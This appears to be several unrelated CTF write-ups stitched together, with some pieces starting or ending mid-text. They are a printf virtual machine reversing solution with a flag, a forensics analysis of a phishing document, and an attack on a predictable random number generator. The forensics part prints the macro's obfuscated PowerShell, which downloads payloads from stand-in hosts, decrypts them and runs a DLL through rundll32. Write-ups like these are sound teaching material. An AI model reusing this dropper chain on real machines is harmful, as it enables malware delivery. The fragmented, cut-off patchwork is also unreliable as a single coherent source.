prec = info->prec; if ( (*((_BYTE *)info + 12) & 0x20) != 0 ) // left space { v5 = dword_70A0[prec] < 0; } else if ( (*((_BYTE *)info + 12) & 0x40) != 0 ) // show sign { v5 = dword_70A0[prec] > 0; } else { v5 = info->pad != '0' || dword_70A0[prec] == 0; // pad field } if ( v5 ) fprintf(stream, &a52cS[info->width]); return 0LL;}```So basically the handling function uses `left space`, `show sign`, and `pad field` to determine the value of `v5`. If `v5` is true, then it will call `fprintf` (Which means that the virtual machine will jump to `info->width` address).
Take the handling function of `%S` as another example:
```c__int64 __fastcall sub_12DC(FILE *stream, const struct printf_info *info, const void *const *args){ int prec; // [rsp+24h] [rbp-14h] int width; // [rsp+28h] [rbp-10h] int v6; // [rsp+2Ch] [rbp-Ch] char *v7; // [rsp+30h] [rbp-8h]
width = info->width; prec = info->prec; if ( (*((_BYTE *)info + 12) & 0x20) != 0 ) // left (%-) { v7 = &a52cS[width]; } else if ( (*((_BYTE *)info + 12) & 0x40) != 0 )// show_sign (%+) { v7 = &a52cS[dword_70A0[width]]; } else { v7 = (char *)&dword_70A0[width]; } v6 = 0; if ( (*((_BYTE *)info + 13) & 2) != 0 ) // char (%hh) { v6 = *(_DWORD *)&a52cS[prec]; } else if ( (*((_BYTE *)info + 12) & 2) != 0 ) // short (%h) { v6 = *(_DWORD *)&a52cS[dword_70A0[prec]]; } else if ( (*((_BYTE *)info + 12) & 1) != 0 ) // long double (%ll) { v6 = info->prec; } else if ( (*((_BYTE *)info + 12) & 4) != 0 ) // long (%l and %11, but %11 enters previous else if) { v6 = dword_70A0[prec]; } *(_DWORD *)v7 += v6; return 0LL;}```
The function uses `left` and `showsign` to calculate an address `v7`. Similarly, it uses either `char` or `short` or `long double` or `long` to calculate the value `v6`. Finally, it adds `v6` to `[v7]`. All of the other specifiers perform similar calculation. Below is a breif summary of the operations done by each handling function:
* `%C`: conditional branching* `%M`: =* `%S`: +* `%O`: -* `%X`: ** `%V`: /* `%N`: %* `%L`: <<* `%R`: >>* `%E`: ^* `%I`: &* `%U`: |
## `printf` assembly code
We can observer several suspicious format strings via `strings` command.
```bash...%52C%s%3.1hM%3.0lE%+1.3lM%1.4llS%3.1lM%3.2lO%-7.3C%0.4096hhM%0.255llI%1.0lM%1.8llL%0.1lU%1.0lM%1.16llL%0.1lU%1.200llM%2.1788llM%7C%-6144.1701736302llM%0.200hhM%0.255llI%0.37llO%0200.0C...```
Hmmm. `%52C%s` looks familiar. If we examine the handling function of specifier `%F`:
```c__int64 __fastcall sub_22AA(FILE *stream, const struct printf_info *info, const void *const *args, const char *a4){ return (unsigned int)fprintf(stream, "%52C%s", **(_QWORD **)args, a4);}```
We can clearly see that the string `%52C%s` is provided as the second parameter of `fprintf`. Correspondingly, it is to appropriate to postulate that `%52C%s` is the *entry point* of the printf virtual machine.
## DisassemblerHence, it is clear that our first goal is to come up with a printf virtual machine disassembler.
```pythonimport reimport sys
regex = re.compile('([+-0])?([0-9]*)\.?([0-9]*)?([a-z]*)([A-Za-z])')counter = 0
with open('assembly', 'r') as f: fmt_str = f.read() fmt_strs = fmt_str.split('\n') for fmt_str in fmt_strs: fmt_specs = fmt_str.split('%') for fmt in fmt_specs: if fmt == '': continue print('{:08x} '.format(counter), end = '') counter += len(fmt) + 1
g = regex.match(fmt).groups(0) if g[4] == 'C': if g[0] == 0: print('branch {:#x}'.format(int(g[1]))) elif g[0] == '0': print('if (reg{} == 0) branch {:#x}'.format(g[2], int(g[1]))) elif g[0] == '+': print('if (reg{} > 0) branch {:#x}'.format(g[2], int(g[1]))) elif g[0] == '-': print('if (reg{} < 0) branch {:#x}'.format(g[2], int(g[1])))
# Probably used to print the flag # It's ok to temporarily ignore it elif g[4] == 's': print('nop') continue else: if g[0] == '0' and g[1] == '': g = (0, '0', g[2], g[3], g[4]) if g[0] == 0: print('reg{}'.format(g[1]), end = '') elif g[0] == '+': print('[reg{}]'.format(g[1]), end = '') elif g[0] == '-': print('[{:#x}]'.format(int(g[1])), end = '')
if g[4] == 'M': print(' = ', end = '') elif g[4] == 'S': print(' += ', end = '') elif g[4] == 'O': print(' -= ', end = '') elif g[4] == 'X': print(' *= ', end = '') elif g[4] == 'V': print(' /= ', end = '') elif g[4] == 'N': print(' %= ', end = '') elif g[4] == 'L': print(' <<= ', end = '') elif g[4] == 'R': print(' >>= ', end = '') elif g[4] == 'E': print(' ^= ', end = '') elif g[4] == 'I': print(' &= ', end = '') elif g[4] == 'U': print(' |= ', end = '')
if g[3] == 'hh': print('[{:#x}]'.format(int(g[2]))) elif g[3] == 'h': print('[reg{}]'.format(g[2])) elif g[3] == 'll': print('{:#x}'.format(int(g[2]))) elif g[3] == 'l': print('reg{}'.format(g[2]))
print('{:08x} '.format(counter), end = '') counter += 1 print('return\n')```
## Analyze disassembly### Part 1Disassembling the two suspicious format strings yields the following pseudo assembly code:
```00000000 branch 0x3400000004 nop00000006 return
00000007 reg3 = [reg1]0000000d reg3 ^= reg000000013 [reg1] = reg30000001a reg1 += 0x400000021 reg3 = reg100000027 reg3 -= reg20000002d if (reg3 < 0) branch 0x700000033 return
00000034 reg0 = [0x1000]0000003e reg0 &= 0xff00000047 reg1 = reg00000004d reg1 <<= 0x800000054 reg0 |= reg10000005a reg1 = reg000000060 reg1 <<= 0x1000000068 reg0 |= reg10000006e reg1 = 0xc800000077 reg2 = 0x6fc00000081 branch 0x700000084 [0x1800] = 0x656e6f6e00000098 reg0 = [0xc8]000000a1 reg0 &= 0xff000000aa reg0 -= 0x25000000b2 if (reg0 == 0) branch 0xc8000000ba return```
According to the assembly, the purpose of function `0x7` is to xor the byte from address `reg1` to address `reg2` with character `reg0`. Function `0x34` jumps to function `0x7` with argument (0x25 ('%'), 0xc8, 0x6fc) and check whether the character at 0xc8 is 0x25. If the condition is true, the main function will jumps to 0xc8.
This part of the assembly code has nothing to do with the generation of the flag. Hence, let's grab the bytes between 0xc8 & 0x6fc and xor these bytes with '%'.
```python3from pwn import ELFelf = ELF('./weather')fmt_xor = elf.read(0x5148, 0x634)xor_char = fmt_xor[0] ^ ord('%')fmt_str = bytes(x ^ xor_char for x in fmt_xor)fmt_str = fmt_str.replace(b'\0', b'\n')fmt_str = fmt_str.decode()print(fmt_str)```
Result:
```%4.5000llM%0.13200llM%337C%0.0llM%500C%1262C%0653.0C%1.0llM%3.0lM%3.2lN%0253.3C%2.1llS%3.2lM%3.3lX%3.0lO%3.1llO%-261.3C%+4.0lM%4.2llS%1.1llM%2.2llM%261C%+322.1C%0.1llS%1.13600llM%1.0lO%+337.1C%0.0llM%0.2llV%0.3llX%0.1llS%1.0lM%1.2llN%0405.1C%+413.1C%470C%0.1llS%1.0lM%1.1llO%0397.1C%+428.1C%2.0lM%2.4096llS%4.2hM%4.255llI%+540.4C%2.0lM%2.2llX%2.5000llS%2.2hM%2.255llI%4.2lE%0.1llS%2.0lM%470C%4.0lS%4.255llI%0.2lM%2.1llO%2.4500llS%+2.4lM%500C%0.123456789llM%1.0llM%1.4096llS%1.1hM%0.1lE%2.0llM%2.846786818llS%2.0lE%1.0llM%1.6144llS%+1.2lM%1.4llM%1.4096llS%1.1hM%0.1lE%2.0llM%2.1443538759llS%2.0lE%1.4llM%1.6144llS%+1.2lM%1.8llM%1.4096llS%1.1hM%0.1lE%2.0llM%2.1047515510llS%2.0lE%1.8llM%1.6144llS%+1.2lM%1.12llM%1.4096llS%1.1hM%0.1lE%2.0llM%2.359499514llS%2.1724461856llS%2.0lE%1.12llM%1.6144llS%+1.2lM%1.16llM%1.4096llS%1.1hM%0.1lE%2.0llM%2.241024035llS%2.0lE%1.16llM%1.6144llS%+1.2lM%1.20llM%1.4096llS%1.1hM%0.1lE%2.0llM%2.222267724llS%2.0lE%1.20llM%1.6144llS%+1.2lM%1.24llM%1.4096llS%1.1hM%0.1lE%2.0llM%2.844096018llS%2.0lE%1.24llM%1.6144llS%+1.2lM%0.0llM%1.0llM%1.4500llS%1.1hM%2.0llM%2.1374542625llS%2.1686915720llS%2.1129686860llS%1.2lE%0.1lU%1.4llM%1.4500llS%1.1hM%2.0llM%2.842217029llS%2.1483902564llS%1.2lE%0.1lU%1.8llM%1.4500llS%1.1hM%2.0llM%2.1868013731llS%1.2lE%0.1lU%1.12llM%1.4500llS%1.1hM%2.0llM%2.584694732llS%2.1453312700llS%1.2lE%0.1lU%1.16llM%1.4500llS%1.1hM%2.0llM%2.223548744llS%1.2lE%0.1lU%1.20llM%1.4500llS%1.1hM%2.0llM%2.1958883726llS%2.1916008099llS%1.2lE%0.1lU%1.24llM%1.4500llS%1.1hM%2.0llM%2.1829937605llS%2.1815356086llS%2.253836698llS%1.2lE%0.1lU```
### Part 2Now, let's disassemble each format string and analyze it one by one.
First, let's focus on the function at 0xc8:
```000000c8 reg4 = 0x1388000000d2 reg0 = 0x3390000000dd branch 0x151000000e2 reg0 = 0x0000000e9 branch 0x1f4000000ee branch 0x4ee000000f4 if (reg0 == 0) branch 0x28d000000fc return```
It looks like this function set reg4 to 0x1338 and reg0 to 0x3390, tries to call several functions related to flag generation, checks if the result is 0, and jumps to 0x28d if the condition is met. Since these interal functions are essential to our flag generation, it is natural for us to investigate them in details.
### Part 3: function 0x151Now, let's examine function 0x151 and its accompanied sub functions:
```000000fd reg1 = 0x000000104 return
00000105 reg3 = reg00000010b reg3 %= reg200000111 if (reg3 == 0) branch 0xfd00000119 reg2 += 0x100000120 reg3 = reg200000126 reg3 *= reg30000012c reg3 -= reg000000132 reg3 -= 0x100000139 if (reg3 < 0) branch 0x10500000141 return
00000142 [reg4] = reg000000149 reg4 += 0x200000150 return
00000151 reg1 = 0x100000158 reg2 = 0x20000015f branch 0x10500000164 if (reg1 > 0) branch 0x1420000016c reg0 += 0x100000173 reg1 = 0x35200000017e reg1 -= reg000000184 if (reg1 > 0) branch 0x1510000018c return```
So basically the function first set reg1 to 1 and reg2 to 2 and jumps to 0x105 first. Then, it gradually perform `reg3 % reg2` (a.k.a reg0 % reg2), starting from 2 and stopping when `reg3 * reg3 >= reg0`. from 0x1111 we can see that if `reg3 % reg2 == 0` (which means that reg2 is a factor of reg3), then the function will call 0xfd and set reg1 to 0.
Sounds familiar, right? It appears that function 0x105 is a prime checker!
Now, let's go back to function 0x151. after calling 0x105, if reg1 is greater that 0, which means that reg0 is a prime number, the function will jump to 0x142, which stores reg0 into reg4. After that, reg4 will increment itself by 2, and the loop continues until 0x3520.
In conclusion, what this function tries to do is to calculate all primes within 0x3390 and 0x3520, then store all of these primes in 0x1388 as an int16_t array.
### Part 4: function 0x1f4
```0000018d reg0 = 0x000000194 return
00000195 reg0 /= 0x20000019c return
0000019d reg0 *= 0x3000001a4 reg0 += 0x1000001ab return
000001ac reg1 = reg0000001b2 reg1 %= 0x2000001b9 if (reg1 == 0) branch 0x195000001c1 if (reg1 > 0) branch 0x19d000001c9 branch 0x1d6000001ce reg0 += 0x1000001d5 return
000001d6 reg1 = reg0000001dc reg1 -= 0x1000001e3 if (reg1 == 0) branch 0x18d000001eb if (reg1 > 0) branch 0x1ac000001f3 return
000001f4 reg2 = reg0000001fa reg2 += 0x100000000204 reg4 = [reg2]0000020a reg4 &= 0xff00000213 if (reg4 > 0) branch 0x21c0000021b return
0000021c reg2 = reg000000222 reg2 *= 0x200000229 reg2 += 0x138800000233 reg2 = [reg2]00000239 reg2 &= 0xff00000242 reg4 ^= reg200000248 reg0 += 0x10000024f reg2 = reg000000255 branch 0x1d60000025a reg4 += reg000000260 reg4 &= 0xff00000269 reg0 = reg20000026f reg2 -= 0x100000276 reg2 += 0x119400000280 [reg2] = reg400000287 branch 0x1f40000028c return```
Well, after spotting function 0x195 and function 0x19d, I immediately thought of the Collatz conjecture (3n+1 problem)!
I won't go into details here since the assembly are quite lengthy.
In conclusion, what the function is trying to do is calculate `((primes[i] & 0xff)) + Collatz(i + 1)) & 0xff` and store these values in 0x1194 as a byte array.
### Part 5: function 0x4ee and function 0x28d
```000004ee reg0 = 0x0000004f5 reg1 = 0x0000004fc reg1 += 0x119400000506 reg1 = [reg1]0000050c reg2 = 0x000000513 reg2 += 0x51eddb2100000523 reg2 += 0x648c4a8800000533 reg2 += 0x4355a74c00000543 reg1 ^= reg200000549 reg0 |= reg10000054f reg1 = 0x400000556 reg1 += 0x119400000560 reg1 = [reg1]00000566 reg2 = 0x00000056d reg2 += 0x323336450000057c reg2 += 0x58728e640000058c reg1 ^= reg200000592 reg0 |= reg100000598 reg1 = 0x80000059f reg1 += 0x1194000005a9 reg1 = [reg1]000005af reg2 = 0x0000005b6 reg2 += 0x6f57a0a3000005c6 reg1 ^= reg2000005cc reg0 |= reg1000005d2 reg1 = 0xc000005da reg1 += 0x1194000005e4 reg1 = [reg1]000005ea reg2 = 0x0000005f1 reg2 += 0x22d9bbcc00000600 reg2 += 0x569fcabc00000610 reg1 ^= reg200000616 reg0 |= reg10000061c reg1 = 0x1000000624 reg1 += 0x11940000062e reg1 = [reg1]00000634 reg2 = 0x00000063b reg2 += 0xd5315480000064a reg1 ^= reg200000650 reg0 |= reg100000656 reg1 = 0x140000065e reg1 += 0x119400000668 reg1 = [reg1]0000066e reg2 = 0x000000675 reg2 += 0x74c2318e00000685 reg2 += 0x7233f6a300000695 reg1 ^= reg20000069b reg0 |= reg1000006a1 reg1 = 0x18000006a9 reg1 += 0x1194000006b3 reg1 = [reg1]000006b9 reg2 = 0x0000006c0 reg2 += 0x6d12a1c5000006d0 reg2 += 0x6c3422b6000006e0 reg2 += 0xf213d9a000006ef reg1 ^= reg2000006f5 reg0 |= reg1000006fb return```
```0000028d reg0 = 0x75bcd150000029c reg1 = 0x0000002a3 reg1 += 0x1000000002ad reg1 = [reg1]000002b3 reg0 ^= reg1000002b9 reg2 = 0x0000002c0 reg2 += 0x3278f102000002cf reg2 ^= reg0000002d5 reg1 = 0x0000002dc reg1 += 0x1800000002e6 [reg1] = reg2000002ed reg1 = 0x4000002f4 reg1 += 0x1000000002fe reg1 = [reg1]00000304 reg0 ^= reg10000030a reg2 = 0x000000311 reg2 += 0x560aa74700000321 reg2 ^= reg000000327 reg1 = 0x40000032e reg1 += 0x180000000338 [reg1] = reg20000033f reg1 = 0x800000346 reg1 += 0x100000000350 reg1 = [reg1]00000356 reg0 ^= reg10000035c reg2 = 0x000000363 reg2 += 0x3e6fd17600000373 reg2 ^= reg000000379 reg1 = 0x800000380 reg1 += 0x18000000038a [reg1] = reg200000391 reg1 = 0xc00000399 reg1 += 0x1000000003a3 reg1 = [reg1]000003a9 reg0 ^= reg1000003af reg2 = 0x0000003b6 reg2 += 0x156d86fa000003c5 reg2 += 0x66c93320000003d5 reg2 ^= reg0000003db reg1 = 0xc000003e3 reg1 += 0x1800000003ed [reg1] = reg2000003f4 reg1 = 0x10000003fc reg1 += 0x100000000406 reg1 = [reg1]0000040c reg0 ^= reg100000412 reg2 = 0x000000419 reg2 += 0xe5dbc2300000428 reg2 ^= reg00000042e reg1 = 0x1000000436 reg1 += 0x180000000440 [reg1] = reg200000447 reg1 = 0x140000044f reg1 += 0x100000000459 reg1 = [reg1]0000045f reg0 ^= reg100000465 reg2 = 0x00000046c reg2 += 0xd3f894c0000047b reg2 ^= reg000000481 reg1 = 0x1400000489 reg1 += 0x180000000493 [reg1] = reg20000049a reg1 = 0x18000004a2 reg1 += 0x1000000004ac reg1 = [reg1]000004b2 reg0 ^= reg1000004b8 reg2 = 0x0000004bf reg2 += 0x324fe212000004ce reg2 ^= reg0000004d4 reg1 = 0x18000004dc reg1 += 0x1800000004e6 [reg1] = reg2000004ed return```
These 2 functions look like flag generation code!
Again, I won't go into much detail here. In short, these two functions perform a series of operations on your input, and then check whether the values obtained after these operations are equal to some array of values. This kind of operation involving sophisticated xor operations byte by byte are often seen in CTF. Since the flag generation function operates byte by byte, it is possible to brute force each character one by one and obtain the flag.
The full flag generation script can be found below.
## Flag generation
```pythonprimes = [13217, 13219, 13229, 13241, 13249, 13259, 13267, 13291, 13297, 13309, 13313, 13327, 13331, 13337, 13339, 13367, 13381, 13397, 13399, 13411, 13417, 13421, 13441, 13451, 13457, 13463, 13469, 13477, 13487, 13499, 13513, 13523, 13537, 13553, 13567, 13577, 13591, 13597]magic = 123456789secrets = [846786818, 1443538759, 1047515510, 359499514 + 1724461856, 241024035, 222267724, 844096018]sanity = [1374542625 + 1686915720 + 1129686860, 842217029 + 1483902564, 1868013731, 584694732 + 1453312700, 223548744, 1958883726 + 1916008099, 1829937605 + 1815356086 + 253836698]
sanity_bytes = b''.join(i.to_bytes(4, 'little') for i in sanity)
def three_n_plus_one(n): if n == 1: return 0 else: if n % 2 == 0: n //= 2 else: n = 3 * n + 1 t = three_n_plus_one(n) return t + 1
chars = []
for i in range(28): for c in range(255): if ((c ^ (primes[i] & 0xff)) + three_n_plus_one(i + 1)) & 0xff == sanity_bytes[i]: chars.append(c)
flag = b''for i in range(7): char_int = int.from_bytes(bytes(chars[i * 4: (i + 1) * 4]), 'little') magic ^= char_int flag_part = magic ^ secrets[i] flag += flag_part.to_bytes(4, 'little')
print(flag)```
## Flag```CTF{curs3d_r3curs1ve_pr1ntf}``` |
# MBCoin
MBCoin was a medium Forensics challenge with only downloadable files.
### Challenge pretext:
We have been actively monitoring the most extensive spear-phishing campaign in recent history for the last two months. This campaign abuses the current crypto market crash to target disappointed crypto owners. A company's SOC team detected and provided us with a malicious email and some network traffic assessed to be associated with a user opening the document. Analyze the supplied files and figure out what happened.
The zip file consisted of 2 files: **mbcoin.doc** and **mbcoin.pcapng**.
### mbcoin.doc**mbcoin.doc** was an old Microsoft Word 97 - 2003 Document (.doc) format. The file, when opened, showed a word document with the following text:
```Hello,
Are you wondering about how you can make more money through a smarter investment? If you have looked at the profits available from cryptocurrency and thought it was too late, now is your chance. Get in on the ground floor today with the announcement of MBCoin.
You may be eligible for free MBCoin! Make sure to click âEnable Contentâ and this document will calculate how much MBCoin youâve won.
Happy Investing to the Moon,
Monkey Business Investments```https://i.imgur.com/i24NXcT.png
The document had a macro that was set to run on AutoOpen (when document is loaded).[https://i.imgur.com/pajYgdX.png]https://i.imgur.com/pajYgdX.png
Analyzed the VBA code, it looks to take 2 strings from the document somewhere (`ActiveDocument.Shapes(1)` and `(2)`) and write them to a file c:\\ProgramData\\pin.vbs, then execute it with: `cmd /k cscript.exe c:\ProgramData\pin.vbs`
When unzipping the .doc file with 7-zip I found a few other files that did not show up the first time, when using linux unzip. Not sure why this was:https://i.imgur.com/2x1RuiS.png
Inside the 1Table file, found plenty of VBA code with obfuscated Powershell commands. This looks to be the contents of the pin.vba:``` L L 1 = " $ N a n o = ' J O O E X ' . r e p l a c e ( ' J O O ' , ' I ' ) ; s a l O Y $ N a n o ; $ a a = ' ( N e w - O b ' ; $ q q = ' j e c t N e ' ; $ w w = ' t . W e b C l i ' ; $ e e = ' e n t ) . D o w n l ' ; $ r r = ' o a d F i l e ' ; $ b b = ' ( ' ' h t t p : / / p r i y a c a r e e r s . h t b / u 9 h D Q N 9 Y y 7 g / p t . h t m l ' ' , ' ' C : \ P r o g r a m D a t a \ w w w 1 . d l l ' ' ) ' ; $ F O O X = ( $ a a , $ q q , $ w w , $ e e , $ r r , $ b b , $ c c - J o i n ' ' ) ; O Y $ F O O X | O Y ; " L L 2 = " $ N a n o z = ' J O O E X ' . r e p l a c e ( ' J O O ' , ' I ' ) ; s a l O Y $ N a n o z ; $ a a = ' ( N e w - O b ' ; $ q q = ' j e c t N e ' ; $ w w = ' t . W e b C l i ' ; $ e e = ' e n t ) . D o w n l ' ; $ r r = ' o a d F i l e ' ; $ b b = ' ( ' ' h t t p s : / / p e r f e c t d e m o s . h t b / G v 1 i N A u M K Z / j v . h t m l ' ' , ' ' C : \ P r o g r a m D a t a \ w w w 2 . d l l ' ' ) ' ; $ F O O X = ( $ a a , $ q q , $ w w , $ e e , $ r r , $ b b , $ c c - J o i n ' ' ) ; O Y $ F O O X | O Y ; "
[...] M M 1 = " $ b = [ S y s t e m . I O . F i l e ] : : R e a d A l l B y t e s ( ( ( ' C : G P H ' + ' p r ' + ' o g ' + ' r a ' + ' m d a t a G ' + ' P H w w w 1 . d ' + ' l l ' ) - C r e P L a c E ' G P H ' , [ C h a r ] 9 2 ) ) ; $ k = ( ' 6 i ' + ' I ' + ' g l ' + ' o ' + ' M k 5 ' + ' i R Y A w ' + ' 7 Z ' + ' T W e d 0 C r ' + ' j u Z 9 w i j y Q D j ' + ' K O ' + ' 9 M s 0 D 8 K 0 Z 2 H 5 M X 6 w y O K q F x l ' + ' O m 1 ' + ' X ' + ' p j m Y f a Q X ' + ' a c A 6 ' ) ; $ r = N e w - O b j e c t B y t e [ ] $ b . l e n g t h ; f o r ( $ i = 0 ; $ i - l t $ b . l e n g t h ; $ i + + ) { $ r [ $ i ] = $ b [ $ i ] - b x o r $ k [ $ i % $ k . l e n g t h ] } ; i f ( $ r . l e n g t h - g t 0 ) { [ S y s t e m . I O . F i l e ] : : W r i t e A l l B y t e s ( ( ( ' C : Y 9 A p r o ' + ' g r a m d a t ' + ' a ' + ' Y ' + ' 9 A w w w ' + ' . d ' + ' l l ' ) . R E p L a c e ( ( [ c h A r ] 8 9 + [ c h A r ] 5 7 + [ c h A r ] 6 5 ) , [ s T r i N g ] [ c h A r ] 9 2 ) ) , $ r ) } " M M 2 = " $ b = [ S y s t e m . I O . F i l e ] : : R e a d A l l B y t [...] S e t R a n = C r e a t e O b j e c t ( " w s c r i p t . s h e l l " ) R a n . R u n H H 0 + M M 1 , C h r ( 4 8 ) W S c r i p t . S l e e p ( 5 0 0 ) R a n . R u n H H 0 + M M 2 , C h r ( 4 8 ) W S c r i p t . S l e e p ( 5 0 0 ) R a n . R u n H H 0 + M M 3 , C h r ( 4 8 ) W S c r i p t . S l e e p ( 5 0 0 ) R a n . R u n H H 0 + M M 4 , C h r ( 4 8 ) W S c r i p t . S l e e p ( 5 0 0 ) R a n . R u n H H 0 + M M 5 , C h r ( 4 8 ) W S c r i p t . S l e e p ( 1 5 0 0 0 ) O K 1 = " c m d / c r u n d l l 3 2 . e x e C : \ P r o g r a m D a t a \ w w w . d l l , l d r " O K 2 = " c m d / c d e l C : \ p r o g r a m d a t a \ w w w * " O K 3 = " c m d / c d e l C : \ p r o g r a m d a t a \ p i n * " R a n . R u n O K 1 , C h r ( 4 8 ) W S c r i p t . S l e e p ( 1 0 0 0 ) R u n . R u n O K 2 , C h r ( 4 8 ) ``` After studying the code for a while, I figured out that 5 dll files were being downloaded and decrypted on the machine: in LL1, pt.html is being downloaded from priyacareers.htb, then saved as www1.dll. Then later on in MM1, the www1.dll file is decrypted and then saved as www.dll. At the bottom of the code, the only dll that appears to actually be run is www.dll. So it looks like the last file that successfully downloads is the actual www.dll, the others are never run. Looks like it loads a function 'ldr'.
I then uploaded the mbcoin.doc file to an online sandbox, https://any.run so I could watch it explode and capture any other possible clues easily, even though the domains it reaches out to don't look to exist in the real world. Noticed the last step is the execution of rundll32.exe www.dll,ldr file just as I expected.[https://app.any.run/tasks/95061781-61c3-4dd6-bf3e-e5fcea6db905](https://app.any.run/tasks/95061781-61c3-4dd6-bf3e-e5fcea6db905 "https://app.any.run/tasks/95061781-61c3-4dd6-bf3e-e5fcea6db905")[https://i.imgur.com/cZsoNq7.png]https://i.imgur.com/cZsoNq7.png
### mbcoin.pcapng**mbcoin.pcapng** is a packet capture file. Therer were 4 different IPv4 conversations in total- 1) some DNS requests to 10.1.1.52) a suspicious request to 192.0.2.111/ByH5NDoE3kQA/vm.html (cablingpoint.htb) 3) a request to a missing page 203.0.113.223/ze8pCNTIkrIS/wp.html (business-z.htb)4) a suspicious request to 10.1.1.163/u9hDQN9Yy7g/pt.html (priyacareers.htb)
The suspicious requests look to contain encrypted data:
```GET /u9hDQN9Yy7g/pt.html HTTP/1.1Host: priyacareers.htbConnection: Keep-Alive
HTTP/1.0 200 OKServer: SimpleHTTP/0.6 Python/3.8.10Date: Wed, 29 Jun 2022 14:04:59 GMTContent-type: text/htmlContent-Length: 10752Last-Modified: Wed, 29 Jun 2022 13:32:37 GMT
{3.gooMk1iRY..7Z.Wed0Crj5Z9wijyQDjKO9Ms0D8K0Z2H5MX6wyOKqFxlOm0Xpdr.ha.Q.B.7z.h3..>KE.=>3.Zz76._7R..zK..J.?d.... .T!.F=P.H5MX6wy{.......A.......(.l.3...[[email protected]......+....../.......;...........8.......).......)...........9\:)...ZTWed0CrjuZ9wijy..jK+.Ks...)0Z2H5MX6.ymkzDvsO}1XpvmYfaQX.pA66yIgloM.4iRYAg7ZTUed6CrjuZ9wojyQDjKO9=s0D |
[Original Writeup](https://github.com/nikosChalk/ctf-writeups/blob/master/googleCTF22/misc/appnote/README.md) (https://github.com/nikosChalk/ctf-writeups/blob/master/googleCTF22/misc/appnote/README.md) |
# FAUST CTF 2022 | Notes form the Future
A challenge from [FAUST CTF 2022](https://ctftime.org/event/1598) attack-defense competition.
# Description
The service is located at 1338 TCP port.
According to source file [app.py](https://github.com/C4T-BuT-S4D/ctf-writeups/tree/master/faust-ctf-2022/notes-form-the-future/service/src/app/app.py) this is a simple key-value storage, based on filesystem. Users can perform two operations on _notes_:
- list all existing notes (`ls`)- put their note with name and some content (`create`)- get note's content by name (`read`)
By the way, in this challenge `ls` was not needed, since [the checksystem](https://github.com/fausecteam/ctf-gameserver) provides all valid note's names, so we only want to use `read` command.
Obviously, there should be some kind of protection in order to prevent arbitrary access to every flag. And there is.
# Cryptography
The server implements a proof of knowledge protocol based on [Schnorr algorithm](https://en.wikipedia.org/wiki/Proof_of_knowledge#Schnorr_protocol), which is known as zero-knowledge.
The security of the protocol is based on [discrete logarithm](https://en.wikipedia.org/wiki/Discrete_logarithm) problem, and it could be vulnerable if the parameters are vulnerable. Let's look at them:
```pythonp = 0xca5fd16f55e38bc578bd1f79d73cdb7a93ce6e142c704aa6829620456989e76c335cbc88e56053a170bd1a7744d862c5b95bfa2a6bec9aecf901c5616ffaa70fd8d338e46d2861242b00052f36fe7f87a180284d64cff42f943cfc53c9992cd1c601337bc5b86c32fc17148d4983e8005764bc0927b21a473e9e16e662afa7df96acdd8d877f07510d06d29eac7e67afc600c1bd51db10c81179d2fdf8be03b0be4689777c074fbeb300e8cbd7f0f14aef6611e5017ecbf682e222873326dd181ee472ba383b1e34db087fdd00015ffd70f5fd3a10ac89527f5e0fe5578d006e2f50f05e74ec3159a7d460e8374556b1d4636f197c784177ad0d20fa6d467e29be90ff861071175a3b7f9689fe97a3e41de1835428350eb8d586fd3036090920d2b1e43553e83937c87e81b5c2036d96f1aebcb1a6e1ff1e178dac6d970703250f9af4914b0f045a5a0911336b091063f44b7fe540ff97b929777f9854ca3fa84d365a14518a5cb3967465df77f7b57565532375e1aea56eeea01771b03911871303153b85970e9f9c6060a01ed2266c65f452384853a7f2359af66dc932acbbfbab640e77db685f461d58a525470ee93d1713676e7a28d1eaf44ff54593ba459331932e6e7643017fd794ae621338f615ea3aadeba80844b4b405c70ad0f3920d9ffd6456c4d3ce80e6032aa60bcc90868926e3f00bc5ee6cf1a8bded5ffadbg = 0x1337```
Surprisingly, the prime `p` is a [safe prime](https://en.wikipedia.org/wiki/Safe_and_Sophie_Germain_primes), here is the [factorization](http://factordb.com/index.php?query=825615069568423401321596519652534117405055611646324387787343752621669687184880237834296421550011293578012529118126243932866238186652402210246895094446694440653420748403669135715932889626570508161308333991787656072492285044547575484873244719258722037771555298288846096394505416284166434283854658450353737732219449806018498351320160907769553345256208923473449819267581068386661654806969886248971646991922190065947924378347465240408063358671309528163205948704108991084663296390999481312790315177694435503010061341593828336114427919602592848607168707960262759351153462282202463312328203640604295886569207207250924299611035056746598938744970848597358758947845299486279769821231492522754110450982154483657636264804953437596337119518335649055315984491302479712581090166329226455361393939202547644217876152285538643183579523138639777712905681719432966570450248986624460955637723717552278748902824854615505498890142889415352186762034132705659256430350308621572586337201338088916969392561042581809519865074713273145779634042156223568351625704328911933365630898320708427742127794200964128514479718844507196216066873093836979360288952051988990698572244921188200404625116842659273288248922164341961126159363877684987102422859014962145036668500698) of `p - 1`. So the calculation of discrete logarithm is not trivial.
We did't find any crypto-related vulnerabilities in the _implementation_ of protocol. But we've found another.
# Vulnerability
Schnorr protocol requires a source of entropy in order to generate random numbers. And there was a vulnerability. Let's look at the function:
```pythondef sample_random_element() -> int:
e = getrandbits(p.bit_length()-1) while e == 0: # 0 is not part of the group e = getrandbits(p.bit_length()-1)
return e```
Seems legit? Yes, if it would be an abstract random implementation. But Python uses [MT19937](https://en.wikipedia.org/wiki/Mersenne_Twister) internally, and it's not safe. Well-known fact: this generator is predictable.
The number `e` is a raw output of MT19937, exactly 4095 bits (since `p` has 4096 bits), therefore it uses 128 numbers from MT19937 internal state. In order to attack the generator, we need to retrieve the full state. Since the single number has 32 bits and the state length is 624, we need 5 outputs of function (`624 * 32 / 4095 ~ 5`).
But one bit we don't know, because it was [truncated](https://github.com/python/cpython/blob/07aeb7405ea42729b95ecae225f1d96a4aea5121/Modules/_randommodule.c#L518) by `getrandbits()` function. This is not a problem, because we can bruteforce 5 bits and run the attack 32 times.
When we've recovered the full state of MT19937 generator, we could predict the next output of `sample_random_element()` function (only once, because then generator will be reloaded by another function in the challenge). And we can use this in order to prove the access to other flag:
